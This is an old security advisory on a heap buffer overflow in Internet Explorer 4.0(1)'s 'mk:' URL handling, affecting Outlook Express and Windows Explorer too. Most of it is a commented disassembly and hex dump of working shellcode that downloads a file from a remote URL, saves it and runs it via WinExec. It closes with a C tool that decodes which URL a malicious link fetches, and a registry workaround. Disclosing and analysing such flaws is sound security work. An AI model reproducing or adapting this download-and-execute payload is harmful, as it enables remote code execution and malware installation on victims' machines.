COMMAND
MSIE 4.0(1) suite
SYSTEMS AFFECTED
Windows 95 OSR1, OSR2 running IE3.0x+Infoviewer, IE4.0, IE4.01
Windows NT Workstation/Server running IE4.0,IE4.01
PROBLEM
DilDog, as part of L0pht Advisory, found following. The Microsoft
Internet Explorer 4.0(1) Suite, including all programs supplied
with it that read and/or process HTML from either local machines,
intranet machines, or remote internet machines are subject to a
buffer overflow in the HTML decoding process. The buffer overflow
can cause the application to page fault, or in the worst case,
execute arbitrary precompiled native code. It has also been
reported that this bug affects Internet Explorer 3.0 if you have
Visual Studio (VC++/J++ etc) installed on your system. Though this
may be true, and if so, exploitable, there has not been exploit
code written up for it.
Much like the res:// overflow, this bug can be seen in action by
clicking on a link -or- having the browser auto-refresh to a URL
with the executable code in the url. Please look at the L0pht
Advisory homepage for this bug for a detailed example of the problem.
The problem here lies in the deciphering of the URL line format
itself. The base HTML library that is used by the Internet
Explorer 4.0 Suite and the following programs are vulnerable:
- Outlook Express (both mail and news)
- Windows Explorer
- Internet Explorer (different than regular explorer, really)
This problem, because it stems from a programming flaw in the HTML
decoding system, is unaffected by the Explorer "Security Zones"
feature. In other words, if you turn on the highest security
level for the zone from where the exploit HTML is being viewed,
you are still vulnerable. The critical problem here is a buffer
overflow in the parsing of a particular new type of URL protocol.
The "mk:" type of URL is meant to access proprietary Microsoft
'InfoViewer Topics', as exhibited by the InfoViewer of Visual
Studio, and the Help System of IE4.0(1). For example, the URL for
the Microsoft IE4.0 help system is:
mk:@MSITStore:C:\WINDOWS\Help\iexplore.chm::/iexplore_welcome.htm
The buffer overflow is not a standard stack overflow, but rather a
_heap_ overflow. This complicated coding exploits, but is,
nonetheless, do-able. This time, DilDog assumed you know
something about stack overflows and writing generic buffer
overflow scripts. If you're lost already, then the rest of this
sure as hell ain't going to make any sense to you.
The exploit code overflows a buffer on the heap, overwriting a few
critical heap variables and, eventually leaving the EIP at a
ridiculous point in the middle of URLMON.DLL ready to crash,
unless you, bold coder, know what to stuff in those registers.
Turns out that when you overflow that heap buffer, you can stuff
a value right into EAX. This is important, because the critical
code section that you reach looks like this:
(URLMON!.text+)
014F:702A365E 8B08 MOV ECX,[EAX]
014F:702A3660 50 PUSH EAX
014F:702A3661 FF5108 CALL [ECX+08]
(Incidentally, all the addresses here are for DLL's provided with
IE4.01 not IE4.0. The code is similar for IE4.0. Just different
offsets). You need that CALL [ECX+08] to jump to something
useful. The place where it jumps is to a location in URLMON.DLL
(or was it MSHTML.DLL?) that has an instruction that looks like
CALL ECX. To get the NULL bytes and things in the right places
involves a little finagling of the string using %00, and the
null-terminator of the URL. After that CALL ECX happens, your EIP
points to a piece of code that is in your exploit space. Then,
just jump to the beginning of the exploit code and start having
fun. DilDog used CALL to save a byte. (Who cares about the stack
now anyway? You've already blown it to hell). Here's it.
(Described in terms of IE4.01).
Commented disassembly: (starting at mk:@ivt:cDc/...)
> Skip over the jump tables
0057CC7C: 3BC0 cmp eax,eax
0057CC7E: 7468 je 00057CCE8
> blah blah blah
0057CC80: 90 nop
0057CC81: 90 nop
0057CC82: 90 nop
> Jump tables start here for WININET.DLL functions
> WinInet Function addresses:
>
> (dated 9/18/97) IE4.0 (dated 11/18/97) IE4.01
> InternetOpenA 0x702120B9 0x70211817
> InternetOpenUrlA 0x7021949F 0x70219345
> InternetCloseHandle 0x7020422B 0x7020422E
> InternetReadFile 0x7020E2DC 0x7020E3C4
0057CC83: BFE9E7DE8F mov edi,08FDEE7E9 (InternetOpenA)
0057CC88: F7DF neg edi
0057CC8A: FFE7 jmp edi
0057CC8C: BFBB6CDE8F mov edi,08FDE6CBB (InternetOpenUrlA)
0057CC91: F7DF neg edi
0057CC93: FFE7 jmp edi
0057CC95: BFD2BDDF8F mov edi,08FDFBDD2 (InternetCloseHandle)
0057CC9A: F7DF neg edi
0057CC9C: FFE7 jmp edi
0057CC9E: BF88C741E0 mov edi,0E041C788 (InternetReadFile)
0057CCA3: D1EF shr edi,1
0057CCA5: FFE7 jmp edi
> End WININET Jump Table
0057CCA7: 90 nop
> Start Kernel Offset Table for Win95 OSR 2 (no bad characters/
> /nulls/otherwise!)
> Win95B Function addresses:
>
> WinExec (0xBFF9D330)
> _lopen (0xBFF773FB)
> _lclose (0xBFF98283)
> _lwrite (0xBFF9CDE8)
> _lcreat (0xBFF9CDBE)
> ExitProcess (0xBFF8AECD)
> GlobalAlloc (0xBFF74904)
0057CCA8: 30 D3 F9 BF-FB 73 F7 BF-83 82 F9 BF-E8 CD F9 BF
0057CCB8: BE CD F9 BF-CD AE F8 BF-04 49 F7 BF-
> Start Kernel Offset Table for Win95 OSR 1 (no bad ones here
> either!)
> Win95A Function addresses:
>
> WinExec (0xBFF9D330)
> _lopen (0xBFF773FB)
> _lclose (0xBFF98283)
> _lwrite (0xBFF9CDE8)
> _lcreat (0xBFF9CDBE)
> ExitProcess (0xBFF8AECD)
> GlobalAlloc (0xBFF74904)
0057CCC4: F8 CF F9 BF-B7 72 F7 BF-CF 80 F9 BF-B0 CA F9 BF
0057CCD4: 86 CA F9 BF-B0 AF F8 BF-04 49 F7 BF-
> blah blah blah
0057CCE4: 90 nop
0057CCE5: 90 nop
0057CCE6: 90 nop
0057CCE7: 90 nop
0057CCE8: 90 nop
> check windows kernel version by querying random byte that
> happens to be different in the two versions. Also, set up ESI to
> be a pointer to the kernel offset table for the correct version.
0057CCE9: BB8BFFF7BF mov ebx,0BFF7FF8B
0057CCEE: 2AFF sub bh,bh
0057CCF0: 8BF5 mov esi,ebp
0057CCF2: B032 mov al,032
0057CCF4: 3803 cmp [ebx],al
0057CCF6: 750E jne 00057CD06
0057CCF8: 33C0 xor eax,eax
0057CCFA: B05F mov al,05F
0057CCFC: 90 nop
0057CCFD: 03F0 add esi,eax
0057CCFF: 720E jb 00057CD0F
0057CD01: 90 nop
0057CD02: 90 nop
0057CD03: 90 nop
0057CD04: 90 nop
0057CD05: 90 nop
0057CD06: 33C0 xor eax,eax
0057CD08: B07B mov al,07B
0057CD0A: 90 nop
0057CD0B: 03F0 add esi,eax
0057CD0D: 90 nop
0057CD0E: 90 nop
0057CD0F: 90 nop
> ESI is now a pointer to the first function the the appropriate
> kernel offset table. Now, we need to decode our 'data segment'.
> Do so, by XOR'ing (ADD'ing) each byte of the data area with
> 0x80. This prevents people from seeing what we're doing, as
> well as keeping out null characters and bad stuff in the exploit
> string.
0057CD10: 33C9 xor ecx,ecx
0057CD12: 66B95D01 mov cx,0015D
0057CD16: 03CD add ecx,ebp
0057CD18: B238 mov dl,038 ;"8"
0057CD1A: 800180 add b,[ecx],080 ;"Ç
0057CD1D: 41 inc ecx
0057CD1E: 4A dec edx
0057CD1F: 75F9 jne 00057CD1A ----
0057CD21: 90 nop
0057CD22: 90 nop
> It becomes clear where we're going :)
> Let's allocate some memory. 65535 bytes to be precise.
0057CD23: 66BAFFFF mov dx,0FFFF ;"__"
0057CD27: 52 push edx
0057CD28: 33D2 xor edx,edx
0057CD2A: 52 push edx
0057CD2B: FF5618 call d,[esi][00018]
0057CD2E: 8BD8 mov ebx,eax
> Ok. Now we go ahead and call InternetOpenA and keep that
> Internet handle in EAX. Why do I call this function twice? I
> don't know. I was debugging and I never took it out. NOP it if
> you want. I don't care.
0057CD30: 33D2 xor edx,edx
0057CD32: 52 push edx
0057CD33: 52 push edx
0057CD34: 52 push edx
0057CD35: 52 push edx
0057CD36: 90 nop
0057CD37: 6681C25D01 add dx,0015D
0057CD3C: 03D5 add edx,ebp
0057CD3E: 52 push edx
0057CD3F: E83FFFFFFF call 00057CC83
0057CD44: E83AFFFFFF call 00057CC83
> Now we call InternetOpenUrlA, getting us ready to download a
> file from the net into that buffer we allocated
0057CD49: 33D2 xor edx,edx
0057CD4B: 52 push edx
0057CD4C: 52 push edx
0057CD4D: 6AFF push 0FF
0057CD4F: 52 push edx
0057CD50: 6681C26501 add dx,00165
0057CD55: 03D5 add edx,ebp
0057CD57: 52 push edx
0057CD58: 50 push eax
0057CD59: E82EFFFFFF call 00057CC8C
> We then go ahead and call InternetReadFile, downloading 65535
> bytes from the net and into the buffer.
0057CD5E: 8BD5 mov edx,ebp
0057CD60: 83C230 add edx,030
0057CD63: 90 nop
0057CD64: 90 nop
0057CD65: 52 push edx
0057CD66: 2BC9 sub ecx,ecx
0057CD68: 6649 dec cx
0057CD6A: 51 push ecx
0057CD6B: 53 push ebx
0057CD6C: 50 push eax
0057CD6D: E82CFFFFFF call 00057CC9E
> Call _lcreat, and make us a place to store what we downloaded.
0057CD72: 33D2 xor edx,edx
0057CD74: 52 push edx
0057CD75: 6681C25D01 add dx,0015D
0057CD7A: 03D5 add edx,ebp
0057CD7C: 52 push edx
0057CD7D: FF5610 call d,[esi][00010]
> ok, call _lwrite and write the buffer to the file.
0057CD80: 8BD5 mov edx,ebp
0057CD82: 83C230 add edx,030 ;"0"
0057CD85: 8B12 mov edx,[edx]
0057CD87: 52 push edx
0057CD88: 53 push ebx
0057CD89: 50 push eax
0057CD8A: 8BD8 mov ebx,eax
0057CD8C: FF560C call d,[esi][0000C]
> Close the file with _lclose.
0057CD8F: 53 push ebx
0057CD90: FF5608 call d,[esi][00008]
> Now run what we downloaded by calling WinExec!
0057CD93: 33D2 xor edx,edx
0057CD95: 42 inc edx
0057CD96: 52 push edx
0057CD97: 6681C25C01 add dx,0015C
0057CD9C: 03D5 add edx,ebp
0057CD9E: 52 push edx
0057CD9F: FF16 call d,[esi]
> And go ahead and kill the Internet Explorer process. It's pretty
> bung'd out by now, and if we don't kill it, it will kill itself
0057CDA1: FF5614 call d,[esi][00014]
> The rest of this is left as an exercise to the reader, and is
> really only worth about 5 minutes of staring at. (Though it took
> about 5 or so hours to come up with!) Basically, you just gotta
> play around with your debugger and work those registers. Be
> clever, and you'll get something like this:
0057CD98: - - -2D 2D E6 EF
0057CDA8: EF AE E5 F8-E5 80 E8 F4-F4 F0 BA AF-AF F7 F7 F7
0057CDB8: AE EC B0 F0-E8 F4 AE E3-EF ED AF FE-E4 E9 EC E4
0057CDC8: EF E7 AF E9-E5 B4 DF ED-EB AF E6 EF-EF AE E5 F8
0057CDD8: E5 80 AD AD-AD AD AD AD-F3 9A 57 25-30 30 2D 2D
0057CDE8: 2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D
0057CDF8: 2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 24 25 26
0057CE08: 27 28 29 2A-2B 2C 2D 2E-2F 30 31 32-33 34 35 36
0057CE18: 37 38 39 3A-3B 3C 3D 3E-3F 40 80 81-82 83 84 85
0057CE28: 86 87 88 E9-E8 4B FE FF-FF C0 74 F7-8A 2F 27 70
0057CE38: DB CD 57 22-3E 0D 0A 57-68 65 6E 20-79 6F 75 27
0057CE48: 72 65 20 72-65 61 64 79-2C 20 63 6C-69 63 6B 20
0057CE58: 68 65 72 65-2E 0D 0A 3C-2F 61 3E 0D-0A 3C 2F 63
0057CE68: 65 6E 74 65-72 3E 0D 0A-3C 2F 62 6F-64 79 3E 0D
0057CE78: 0A 3C 2F 68-74 6D 6C 3E-0D 0A 0D 0A-0D 0A 0D 0A
0057CE88: 0D 0A - - -
> Phew!
Anyway. The short and long of all that disassembly is this:
1. It downloads a <64K file from the internet (any URL)
Using the current firewall and proxy settings...
2. It saves it as "foo.exe" on your desktop (probably)
3. It runs the executable.
4. To see which URL it is downloading, just XOR the tail end
of the exploit string with 0x80's.
Linus Nordberg a program that tries to find out what file is
downloaded and executed. Paste the vicous url into a file and
give the filename as only argument or cat it in on stdin.
/*
* whaturl.c
*
* see http://www.l0pht.com/advisories.html for details on the exploit.
*
* this program is easily fooled by anyone that crafts its own
* urls, but a fair guess is that most of us are too lazy/lame to
* do that.
*
* --linus
*/
#include <stdio.h>
#define MY_EOS (0)
/* signum for finding the magic value to XOR with */
unsigned char signum[] =
{0x80, 0x01, MY_EOS}; /* add b,[ecx],? */
int matchsignum(char c)
{
static char *cp = signum;
if (*cp == c) {
if (*++cp == MY_EOS)
return 1;
} else
cp = signum;
return 0;
}
int main(int argc, char *argv[])
{
int sigfound, ixor, bread, i, j;
unsigned char xorval[64], inbuf[0xffff], *cp;
FILE *fin = NULL;
if (argc)
fin = fopen(argv[1], "rb");
if (fin == NULL)
fin = stdin;
bread = fread(inbuf, sizeof(*inbuf), sizeof(inbuf), fin);
if (!feof(fin))
return 1;
/* find possible XOR-values */
sigfound = ixor = 0;
for (i = 0, cp = inbuf; i < bread; i++, cp++) {
if (sigfound) {
for (j = 0; j < ixor; j++)
if (*cp == xorval[j])
break;
if (*cp != xorval[j])
xorval[ixor++] = *cp;
sigfound = 0;
} else
sigfound = matchsignum(*cp);
}
if (!ixor) {
fprintf(stdout, "%s: signum not found, trying 0x80\n", argv[0]);
ixor = 1;
xorval[0] = 0x80;
}
/* todo: where does the url start? for now, print the lot. */
while (ixor--) {
printf("%s: xorval %#02x -->\n", argv[0], xorval[ixor]);
for (i = 0, cp = inbuf; i < bread; i++, cp++)
putchar(*cp ^ xorval[ixor]);
putchar('\n');
}
fclose(fin);
return 0;
}
SOLUTION
Currently, there is no solution available for this flaw. You can't
set any Internet Explorer options to avoid it, and you are not
protected by any level of zone security. Simply don't surf the
web, read email or view net news using Internet Explorer 4.0(1)
until Microsoft puts up a hotfix.
Temporary fix for this bug may help you, BUT... If it breaks your
system, it's yer own damn fault, not anyone's else. If you look
in the registry, you'll see a key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\mkenabled
it usually says "yes". Make it say "no". Having turned "yes" to
"no", if you now run up Microsoft Visual C++ V5.0 you'll see the
"no" change back to a "yes". REGEDT32 can be used on NT to make
the Internet Explorer key read-only. This stops the "no" changing
back to "yes". Predictably, it also stops the online
documentation working in Visual C++. It might also cause problems
in IE since IE will lack the permission to change its registry
data.